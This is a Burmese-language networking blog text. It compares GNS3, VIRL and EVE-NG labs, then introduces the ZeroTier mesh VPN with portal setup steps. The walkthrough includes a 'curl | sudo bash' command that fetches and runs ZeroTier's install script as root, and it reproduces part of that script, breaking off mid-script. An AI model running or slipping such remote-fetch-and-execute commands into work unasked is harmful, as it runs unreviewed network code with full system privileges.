Cisco မှာလည်း သူ့ proprietary နဲ့ထွက်တဲ့ emulation environment တွေရှိပါတယ်။ VIRL လို့ ခေါ်ပါတယ်။ ထုံးစံအတိုင်း Cisco IOS တစ်မျိုးတည်းကို သာအသုံးပြုနိုင်တာမို့ အခုအချိန်ထိတော့ Networking သမားတွေ သိပ်မသုံးဘူးလို့ထင်ပါတယ်။ VIRL ရဲ့ အဓိကအားနည်းချက်က free download မဟုတ်တာ တကြောင်း၊ installation နဲ့ setup မှာ အရမ်းကိုရှုပ်ထွေးလွန်းလှပါတယ်။ ဒါ့အပြင်ပိုဆိုးတာက minimum system လိုအပ်ချက်ကလည်း GNS3 နဲ့ ယှဉ်လိုက်ရင် အရမ်းကိုများတာကို တွေ့ရပါတယ်။ Cisco ရဲ့ VIRL team အဆိုအရ VIRL ရဲ့ backend မှာ OpenStack ကိုအသုံးပြုထားတယ်လို့လည်း သိရပါတယ်။ အဲ့ဒါကြောင့်လည်း VIRL ဟာ system requirement များပြီးတော့ setup လုပ်ရတာ တော်တော်လေးကို လက်ဝင်ပါတယ်။ နောက်ဆုံး Cisco ကလုပ်တဲ့ conference တစ်ခုမှာ VIRL team က လက်ရှိ platform ကိုတော်တော်လေး ပြင်ဆင်ထားတယ်၊ system requirement လည်း နည်းပြီးတော့ feature အသစ်တွေလည်း အများပါလာတယ်လို့ ဆိုပါတယ်။ OpenStack ကိုလည်း မသုံးတော့ပဲနဲ့ ပိုပြီးတော့ ရိုးရှင်းစွာ ချဉ်းကပ်သွားမယ်လို့ဆိုပါတယ်။ Fedora Linux distro ကိုအသုံးပြုထားပြီးတော့ VIRL VM server ပုံစံမျိုး အသုံးပြုလို့ရမယ်လို့ လည်းဆိုပါတယ်။ စာရေးသူ အဲ့ဒီမှာဘာကိုသွားပြီးတော့ သတိရသွားသလဲဆိုရင် VIRL လည်း GNS3 ပုံစံ လိုက်တုပြီလို့တော့ ယူဆချင်ရင် မရိုင်းဘူးလို့ထင်ပါတယ်။ GNS3 မှာတော့ Ubuntu ကို GNS3 VM အနေနဲ့ အသုံးပြုထားပါတယ်။ အခု VIRL မှာတော့ Fedora သုံးမယ်လို့တော့ ပြောသွားပါတယ်။ ၄င်းနည်းတူ EVE-NG လိုခေါ်တဲ့ network emulator နောက်တစ်ခုလည်း ရှိပါတယ်။ သူကတော့ GNS3 ပြီးရင် လူသုံးအများဆုံးလို့ ထင်ပါတယ်။ GNS3 လိုတော့ လုံးဝ free တော့ မရပါဘူး။ Free EVE Community Edition ဆိုပြီးတော့ ရှိပါတယ်။ ပုံမှန်းအားဖြင့်တော့ နောက်ဆုံး product ရောင်းဖြစ်သွားအောင် community free edition ထားတယ်ပဲထင်ပါတယ်။

### GNS3 lab environment

GNS3 ကို Windows, MacOS နဲ့ Linux တို့ပေါ်မှာ install လုပ်လို့ရပါတယ်။ Windows နဲ့ MacOS မှာ install လုပ်မယ်ဆိုရင်တော့ GNS3 မှာရှိနိုင်တဲ့ feature တွေအကုန်သုံးချင်ရင်တော့ GNS3 VM တစ်ခုလိုပါလိမ့်မယ်။ ဘာလို့လဲဆိုတော့ GNS3 မှာ ကိစ္စတော်တော်များများဟာ QEMU ဆိုတဲ့ hypervisor ပေါ်မှာ setup လုပ်ရပါတယ်။ QEMU ကို run ဖို့က သိကြပြီးတဲ့အတိုင်း Linux kernel လိုပါတယ်။ အဲ့ဒါကြောင့် Linux ပေါ်မှာ natively install လုပ်ပြီးတော့ GNS3 ကို သုံးမယ်ဆိုရင်တော့ ပိုပြီးတော့ အဆင်ပြေနိုင်ပါတယ်။ သို့သော် စာရေးသူကတော့ GNS3 VM ကို ESXi လို hypervisor သီးသန့် ပေါ်မှာတင်ပြီးတော့ သုံးတာကို ပိုပြီးတော့ သဘောတွေ့ပါတယ်။ IOS image တွေကိုတစ်စုတစ်စည်းတည်း GNS3 VM မှာရှိတဲ့ အတွက် ကိုယ်ကြိုက်တဲ့ စက်ပေါ်ကနေ remote ဝင်ပြီးတော့ စတင်အသုံးပြုလို့ရပါတယ်။ VPN connection ရှိရင် ကိုယ်ကြိုက်တဲ့ နေရာကနေ ချိတ်ပြီးတော့ သုံးလို့လည်း ရပါတယ်။ ကိုယ်က laptop တစ်လုံးတည်းရှိတယ္်၊ ကိုယ်သွားတဲ့ နေရာတိုင်းမှာအဲ့ဒီ laptop ကရှိနေတယ်ဆိုရင်တော့ ကိစ္စမရှိပါဘူး။ အရှေ့မှာပြောသလို Linux ကို laptop မှာ သုံးဖို့တော့လိုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ea97e5edf3d242623424f64cb620072cda2c296a%2FGNS3-VM-on-ESXi-host-1024x403.png?alt=media" alt=""><figcaption></figcaption></figure>

GNS3 lab တည်ဆောက်ပုံကိုတော့ အဆင့်ဆင့်မရှင်းတော့ပါဘူး။ GNS3 community မှာ documentation နဲ့ forum ကောင်းကောင်းရှိတာမို့ အခက်အခဲရှိမှာမဟုတ်ပါဘူး။ YouTube မှာလည်း tutorial အများကြီးရှိပါတယ်။ ဒီ post မှာကတော့ Cisco Networking စတင်လေ့လာတဲ့ သူတွေအတွက် Cisco Packet Tracer ထက် GNS3 ကို ဦးစားပေး အသုံးပြုစေလိုတာရယ်၊ နောက်ပြီးတော့ simulator နဲ့ emulator ကွာခြားပုံ အကျဉ်းချုပ် သဘောရှင်းပေးထားပါတယ်။ GNS3 နဲ့ပတ်သတ်ပြီးတော့ ရေးမယ်ဆိုရင်တော့ ရေးစရာတွေ အများကြီးပါ။ စမ်းသပ်လို့ရတဲ့ scenario တွေကလည်း အခုဆို တော်တော်လေးများလာပါပြီ။ GNS3 ရဲ့ user forum မှာ အခြားအသုံးပြုတဲ့လူတွေ report လုပ်ထားတဲ့ bug တွေလည်း ရှာဖတ်နိုင်ပါတယ်။ CCNA သို့မဟုတ် CCNP အတွက် ပြင်ဆင်နေတဲ့ သူတွေအတွက်တော့ GNS3 က မရှိမဖြစ် ရှိသင့်တဲ့ lab environment လေးတစ်ခုပါ။ ဒါကတော့ စာရေးသူသိသလောက်လေး ကိုပြန်လည်မျှဝေသွားတဲ့ GNS3 အကြောင်းလေးတွေပါ။ နောက်လည်း GNS3 နဲ့ပတ်သတ်တဲ့ အကြောင်းအရာလေးတွေကို ကြုံရင်ကြုံသလို ထပ်ပြီးတော့ရေးသွားမယ်လို့ စိတ်ကူးရှိပါတယ်။ ဒီ post ကိုဒီမှာတင်ပဲရပ်လိုက်ပါတော့မယ်။


# ZeroTier မိတ်ဆက်

VPN တို့၊ MPLS တို့၊ Tunnelling တို့နဲ့ပတ်သတ်ရင် စာရေးသူ အတွက်စိတ်ဝင်စားစရာတစ်ခု လိုလိုဖြစ်နေတတ်ပါတယ်။ Networking ရဲ့ routing နဲ့ switching တို့မှာ basic နားလည်းထားဖို့လိုတာတွေရှိသလို၊ ကိုယ်နောက်ပိုင်း network ဆိုင်ရာ concept တစ်ခုကို သိလွယ်တတ်လွယ်ဖို့အတွက် အထောက်အကူ ပြုတတ်မြဲမို့ အခြေခံကောင်းနေဖို့လည်းလို ပါတယ်။ အခြေခံကိုမှ ကိုယ်ကနားမလည် ထားရင်အချို့သော နည်းပညာဆိုင်ရာမှာ လွယ်သလောက် နားလည်သလိုလို၊ နားမလည်သလိုလို ဖြစ်တတ်လို့ပါ။ စာရေးသူလည်း ဒီလိုမျိုး ဖြစ်တတ်လို့ သိနေခြင်းကြောင့်ပါ။ လက်တွေ့အတွေ့အကြုံ တွေတော်တော်များများမှာ စာရေးသူ အခြေခံမကောင်းလို့ အခြေခံကို ပြန်သွားပြီးတော့ အစကနေလေ့လာပြီးတော့မှ ကိုယ်လုပ်နေတဲ့ အရာတစ်ခုကို ပြန်လာရတာမျိုးလည်း ခဏခဏ ဖြစ်ဖူးပါတယ်။ တခါတလေလည်း အခြေခံများသွားလို့ ကိုယ်လုပ်နေတဲ့ အရာကိုတောင်မေ့သွားပြီးတော့ ကိုယ် သိသလိုလိုရှိပြီးသားဟာတွေကို အစကနေပြန်သွားရင်းနဲ့ ပျင်းလာပျင်းသွားတတ်တဲ့ ကိစ္စမျိုးလည်း ဖြစ်တတ်ပါတယ်။ ဒီ့အတွက်ကိုယ့်ဟာကို အခြေအနေကြည့်ပြီးတော့ ဘယ်လောက်တော့ဖြင့် အခြေခံအားဖြင့် သိသင့်ပြီးတော့၊ ဘယ်ဟာကိုတော့ဖြင့် နည်းနည်းပါးပါး နားလည်ရုံဖြင့် ကိုယ်လက်ရှိလေ့လာနေတဲ့ အရာအတွက် ခရီးပေါက်လောက်နိုင်တယ်ဆိုတာကို အတိုင်းအဆ အားဖြင့် ချိန်ဆနိုင်မှတော်ရုံကြပါတော့တယ်။ ဒီလိုဖြစ်တာမျိုးကိုတော့ အင်္ဂလိပ်လိုပြောတာတစ်ခုရှိပါတယ်။ ဘာလဲဆိုတော့… Yak Shaving လုပ်တယ်လို့ ဆိုပါတယ်။ အဓိပ္ပာယ်ကတော့ အရှေ့မှာ စာရးသူပြောသွားသလိုပဲ၊ ကိုယ်လုပ်နေတဲ့ဟာကတစ်ခု… အဲ့ဒီတစ်ခုအတွက် အခြားလိုအပ်တဲ့ဟာ တစ်ခုပြီးတော့ တစ်ခုလုပ်ရင် ကိုယ်လုပ်ရင်းဟာတွေကို မေ့သွားပြီးတော့ ခရီးမရောက်နိုင်တော့တဲ့ အနေအထားတစ်ခုကို ဆိုလိုချင်းဖြစ်ပါတယ်။

နည်းပညာအသစ်အသစ်တွေကို လေ့လာတဲ့ အခါမှာ ဒီသဘောတရားလေးတွေကို သိထားဖို့လိုပါတယ်။ ကိုယ်သိချင်လို့ ရှာပြီးတော့ ဖတ်လိုက်တဲ့ material တွေကလည်း marketing လုပ်ဖို့အတွက် လုပ်ထားတဲ့ video တွေ၊ info-graph တွေဖြစ်နေရင်ဖြင့် ဘာကိုမှ နားမလည်နိုင်တော့ပဲ နဲ့၊ ဟာ… ဒါတော့ဖြင့် ကိုယ့်အတွက် လုံးဝအသစ်ကြီးဖြစ်နေလို့ စိတ်ပျက်လက်ပျက် ဖြစ်တဲ့အခါမျိုးလည်း ကြုံရဖူးပါတယ်။ ဥပမာ… နောက်ပိုင်း SD-WAN product တွေနဲ့၊ SDN product တွေတော်တော်များများမှာ zero-trust network (ZTN) ဆိုပြီးတော့ marketing material တွေမှာ သုံးနေကြတော့၊ ဪ… concept အသစ်၊ implementation အသစ်ဆိုပြီးတော့ ထင်နိုင်စရာ ရှိပါတယ်။ အမှန်ကတော့… VPN ဆိုပြီးတော့ သုံးလည်းရသော်လည်း၊ marketing material မှာ အခေါ်အဝေါ်တစ်ခုကို refresh လုပ်လိုက်ခြင်းပါပဲ။ မည်သို့ပင်ဖြစ်စေ၊ trend အရကတော့ feature အချို့ကို အပေါ်ကနေထပ်ထည့်ပြီးတော့ နာမည်ပေးကင်ပွန်းတက်လိုက်ခြင်းသာ ဖြစ်တဲ့အတွက်၊ VPN ရဲ့ အခြေခံကိုနားလည်ရင် zero-trust network (ZTN) ရဲ့ သဘောကို နားလည်ရတာလွယ်တယ်။ WireGuard ကိုစာရေးသူ အနေနဲ့ သုံးလို့ရတဲ့ VPN setup တိုင်းမှာ မဖြစ်မနေ ကိုယ်တိုင် အသုံးပြုပြီးတော့၊ အခြားသူတွေကို လည်းလမ်းကြုံတိုင်း WireGuard ကိုသာ အသုံးပြုဖို့အတွက် တိုက်တွန်းလေ့ရှိတာလည်း နှစ်နှစ်ကျော်ကျော်၊ သုံးနှစ်လောက်ရှိပါပြီ။ WireGuard အကြောင်းကိုရေးတဲ့ post မှာ စာရေးသူ mesh network ကို WireGuard နဲ့တည်ဆောက်နိုင်သလိုမျိုးပဲ၊ Slack ကနေ opensource လုပ်ပေးထားတဲ့ [Nebula](https://github.com/slackhq/nebula) ဆိုတဲ့ project တစ်ခုရှိပါတယ်။ WireGuard ရော၊ Nebula ရော နှစ်ခုလုံးမှာ setup လုပ်ရတာနဲ့၊ configure လုပ်ရတာတွေဟာ ထင်သလောက်တော့ မရိုးရှင်းလှပါ။ သို့သော်… အခြေခံ public key encryption နဲ့ networking အခြေခံကိုသိရင်တော့ လွယ်ကူသင့်သလောက်တော့ လွယ်ကူမယ်လို့ ထင်ပါတယ်။

ဒီ post မှာကတော့ စာရေးသူ [ZeroTier](https://www.zerotier.com/) ဆိုတဲ့ mesh network အကြောင်းကို မိတ်ဆက်ပေး လိုပါတယ်။ ZeroTier ကတော့ အထက်ကနှစ်ခုလောက်တော့ setup လုပ်ရတာမခက်ပါဘူး၊ လွယ်ကူပါတယ်။ အဓိက ကတော့ opensource project တစ်ခုဖြစ်ပြီးတော့၊ enterprise customer တွေအတွက်လည်း offering ကောင်းကောင်း ရှိတာမို့ စိတ်ကြိုက်တွေ့မိတာတော့ အမှန်ပါ။ အောက်မှာတော့ သူ့ရဲ့ free မှာသုံးလို့ရတဲ့ feature အကျဉ်းချုပ်နဲ့ professional တို့၊ Enterprise တို့မှာ ဘာတွေကွာခြားသွားသလဲဆိုတာကို ယှဉ်ကြည့်လို့ရအောင် ဖော်ပြပေးထားပါတယ်။ စာရေးသူအတွက်တော့… free မှာရနိုင်တဲ့ feature တွေ၊ limit တွေ နဲ့ကို တော်တော်လေး လုံလောက်နေပြီ ဖြစ်တဲ့အတွက် အဆင်ပြေနေပါတယ်။ များသောအားဖြင့် WireGuard ကို အဓိကသုံးဖြစ်ပြီးတော့၊ နောက်ဆုံး WireGuard အဆင်မပြေရင် သုံးလို့ရအောင်လို့ ZeroTier ကို Plan B အနေနဲ့ အသုံးပြုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b7a12303deb5bdd78b464420fae7bf4804307f8b%2Fimage-768x677.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာပြထားတဲ့ အတိုင်း တကိုယ်ရေသုံးမယ်ဆိုရင် admin တစ်ယောက်ပဲလိုနိုင်ပြီးတော့၊ ကိုယ့်အိမ်က environment ကို ဘယ်နေရာကနေမဆို access လုပ်နိုင်အောင်လို့ လုပ်ထားလို့ရပါတယ်။ ပြီးတော့ devices ပေါင်းအခု ၅၀လောက် ချိတ်ဆက်ပြီးတော့ အသုံးပြုနိုင်တာမို့ ကိုယ့်အိမ်က network နဲ့ချိတ်ဖို့အတွက်တော့လောက်မယ်လို့ထင်ပါတယ်။ တခါမှတော့ သတ်မှတ်ထားတဲ့ limit ကိုရောက်တာမရှိသေးလို့ ဘယ်လိုမျိုး သတ်မှတ်သလဲဆိုတော့ သေချာမသိပါဘူး။ WireGuard တို့၊ Nebula တို့နဲ့ မတူတာတစ်ခုက ZeroTier ကိုကိုယ့်ရဲ့ environment မှာ deploy လုပ်စရာမလို၊ configure လုပ်စရာမလိုတာပဲဖြစ်ပါတယ်။ ZeroTier မှာက web portal တစ်ခုကို [https://accounts.zerotier.com](https://accounts.zerotier.com/) မှာသွားရောက် account တစ်ခုဖွင့်လိုက်ရုံဖြင့် အားလုံးနီးပါး အဆင်သင့်ဖြစ်ပါပြီ။ ဒီတော့ ဘယ်လိုမျိုး စတင်အသုံးပြုနိုင်သလဲဆိုတာကို တချက်လောက်ကြည့်လိုက်ရအောင်။ Account ဖွင့်ပုံ အသေးစိတ်ကိုတော့ ဒီနေရာမှာ မရှင်းတော့ ပါဘူး။ အဲ့ဒီ account ရပြီဆိုတာနဲ့ network တစ်ခုဘယ်လိုတည်ဆောက်သလဲ၊ အဲ့ဒီ network ကိုဘယ်လိုချိတ်သလဲဆိုတာကို မတူတဲ့ cloud providers နှစ်ခုကိုအသုံးပြုပြီးတော့ VPS နှစ်လုံးကို ချိတ်ပြပါ့မယ်။ ပထမဆုံး အနေနဲ့ ZeroTier account နဲ့ သူ့ web portal ထဲကိုဝင်လိုက်တာနဲ့ အောက်ကအတိုင်းတွေ့ရမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9bc7f8ee501b5d1d39a32da2be3a3fe8a32137f1%2Fimage-3-768x295.png?alt=media" alt=""><figcaption></figcaption></figure>

ရိုးရှင်းတဲ့ interface တစ်ခုဖြစ်ပြီးတော့ ရှင်းလင်းတဲ့ အဆင့်ဆင့်လုပ်ဆောင်ရမယ့် အရာတွေကိုပုံမှာအတိုင်းတွေ့ရမှာပါ။ ပြောထားတဲ့ အတိုင်း network တစ်ခုကိုတည်ဆောက်ကြည့်လိုက် ရအောင်။ “Create A Network” ဆိုတဲ့နေရာနှိပ်လိုက်ပါ။ ZeroTier ဟာ random ID တစ်ခုနဲ့ network name တစ်ခုကို တည်ဆောက်ပေးပါလိမ့်မယ်။ အောက်မှာတွေ့တဲ့ အတိုင်းမြင်ရပါလိမ့်မယ်။

ကိုယ့်အနေနဲ့ တစ်ခုထက်ပိုတဲ့ network တွေကိုတည်ဆောက်ခြင်းလည်း ရပါတယ်။ ပုံမှာမြင်တဲ့ အတိုင်း ကိုယ့်ရဲ့ network ကအဆင်သင့်ဖြစ်ပြီ ဆိုတာနဲ့ network ID ရဲ့ အပြာရောင် hyperlink လေးကို click လုပ်လိုက်ပါ။ ဒါဆိုရင်ဖြင့် အောက်ကအတိုင်း network နဲ့ဆိုင်တဲ့ အချက်အလက်တွေကို ရှိတဲ့ နေရာကိုခေါ်သွားပါလိမ့်မယ်။

ကိုယ်က network ရဲ့ နာမည်ကိုပြောင်းချင်တယ်၊ description ထည့်ချင်တယ်၊ private လုပ်မှာလား public လုပ်မှာလားကိုလည်း ရွေးချယ်နိုင်ပါတယ်။ အောက်ကို scroll down ဆက်လုပ်လိုက်တာနဲ့ အခုလိုမျိုး မြင်ရမှာဖြစ်ပါတယ်။

အပေါ်မှာပြထားတဲ့ ပုံထဲကအတိုင်း ကိုယ်ကြိုက်တဲ့ subnet ကိုရွေးချယ်နိုင်ပြီးတော့ အခြားသော routing ဆိုင်ရာရွေးချယ်အချို့ကို ဆက်လက်ရွေးလို့ ရပါတယ်။ နောက်တဆင့်အနေနဲ့ network members တွေကို ဘယ်လိုမျိုးထည့်သလဲဆိုတာ တချက်လောက်ကြည့်လိုက်ရအောင်။

Node ID ကို ZeroTier ရဲ့ network မှရိုက်ထည့်ပြီး ထည့်သွင်းနိုင်သလို၊ ကိုယ့်ရဲ့ ချိတ်ဆက်ချင်တဲ့ server တွေပေါ်မှာ ZeroTierOne application ကို install လုပ်ပြီးတော့ network member အနေနဲ့ ထည့်လို့ရပါတယ်။ ကိုယ်အဆင်ပြေသလိုထည့်လို့ရ နိုင်ပါတယ်။ VPS နှစ်ခုမှာ တစ်ခုက CentOS၊ နောက်တစ်ခုက Ubuntu ဖြစ်တဲ့အတွက် ZeroTier ရဲ့ <https://www.zerotier.com/download/> documentation ကအတိုင်း အောက်မှာပြထားတဲ့ command နဲ့ install လုပ်လို့ရပါတယ်။ <https://install.zerotier.com/> ဆိုတဲ့ URL ကနေ file တစ်ခုကို curl နဲ့ download လုပ်ပြီးတော့ sudo bash အတွင်း script ကို run ဖို့အတွက် pipeline ကိုသုံးထားပါ။

```
curl -s https://install.zerotier.com | sudo bash
```

Download လုပ်လိုက်တဲ့ bash script ရဲ့ အသေးစိတ်ကို စိတ်ဝင်စားရင်တော့ အောက်မှာတွေ့ရတဲ့ အတိုင်းပါပဲ။

```
#!/bin/bash
<<ENDOFSIGSTART=
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

ENDOFSIGSTART=

export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

#
# ZeroTier install script
#
# All this script does is determine your OS and/or distribution and then add the correct
# repository or download the correct package and install it. It then starts the service
# and prints your device's ZeroTier address.
#

# Base URL for download.zerotier.com tree; see https://github.com/zerotier/download.zerotier.com if you want to mirror.
# Some things want http, some https, so we must specify both. Must include trailing /
ZT_BASE_URL_HTTPS='https://download.zerotier.com/'
ZT_BASE_URL_HTTP='http://download.zerotier.com/'

echo
echo '*** ZeroTier One Quick Install for Unix-like Systems'
echo
echo '*** Tested distributions and architectures:'
echo '***   MacOS (10.7+) on x86_64 (just installs ZeroTier One.pkg)'
echo '***   Debian (7+) on x86_64, x86, arm, and arm64'
echo '***   RedHat/CentOS (6+) on x86_64 and x86'
echo '***   Fedora (16+) on x86_64 and x86'
echo '***   SuSE (12+) on x86_64 and x86'
echo '***   Mint (18+) on x86_64, x86, arm, and arm64'
echo
echo '*** Please report problems to contact@zerotier.com and we will try to fix.'
echo

SUDO=
if [ "$UID" != "0" ]; then
	if [ -e /usr/bin/sudo -o -e /bin/sudo ]; then
		SUDO=sudo
	else
		echo '*** This quick installer script requires root privileges.'
		exit 0
	fi
fi

# Detect MacOS and install .pkg file there
if [ -e /usr/bin/uname ]; then
	if [ "`/usr/bin/uname -s`" = "Darwin" ]; then
		echo '*** Detected MacOS / Darwin, downloading and installing Mac .pkg...'
		$SUDO rm -f "/tmp/ZeroTier One.pkg"
		curl -s ${ZT_BASE_URL_HTTPS}dist/ZeroTier%20One.pkg >"/tmp/ZeroTier One.pkg"
		$SUDO installer -pkg "/tmp/ZeroTier One.pkg" -target /

		echo
		echo '*** Waiting for identity generation...'

		while [ ! -f "/Library/Application Support/ZeroTier/One/identity.secret" ]; do
			sleep 1
		done

		echo
		echo "*** Success! You are connected to port `cat '/Library/Application Support/ZeroTier/One/identity.public' | cut -d : -f 1` of Earth's planetary smart switch."
		echo

		exit 0
	fi
fi

# Detect already-installed on Linux
if [ -f /usr/sbin/zerotier-one ]; then
	echo '*** ZeroTier One appears to already be installed.'
	exit 0
fi

rm -f /tmp/zt-gpg-key
echo '-----BEGIN PGP PUBLIC KEY BLOCK-----' >/tmp/zt-gpg-key
cat >>/tmp/zt-gpg-key << END_OF_KEY
Comment: GPGTools - https://gpgtools.org

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
=JgAv
END_OF_KEY
echo '-----END PGP PUBLIC KEY BLOCK-----' >>/tmp/zt-gpg-key

echo '*** Detecting Linux Distribution'
echo

if [ -f /etc/debian_version ]; then
	dvers=`cat /etc/debian_version | cut -d '.' -f 1 | cut -d '/' -f 1`
	$SUDO rm -f /tmp/zt-sources-list

	if [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F -i LinuxMint`" ]; then
		echo '*** Found Linux Mint (using Ubuntu Xenial packages), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/xenial xenial main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F trusty`" ]; then
		echo '*** Found Ubuntu "trusty", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/trusty trusty main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F wily`" ]; then
		echo '*** Found Ubuntu "wily", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/wily wily main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F xenial`" ]; then
		echo '*** Found Ubuntu "xenial", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/xenial xenial main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F zesty`" ]; then
		echo '*** Found Ubuntu "zesty", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/zesty zesty main" >/tmp/zt-sources-list
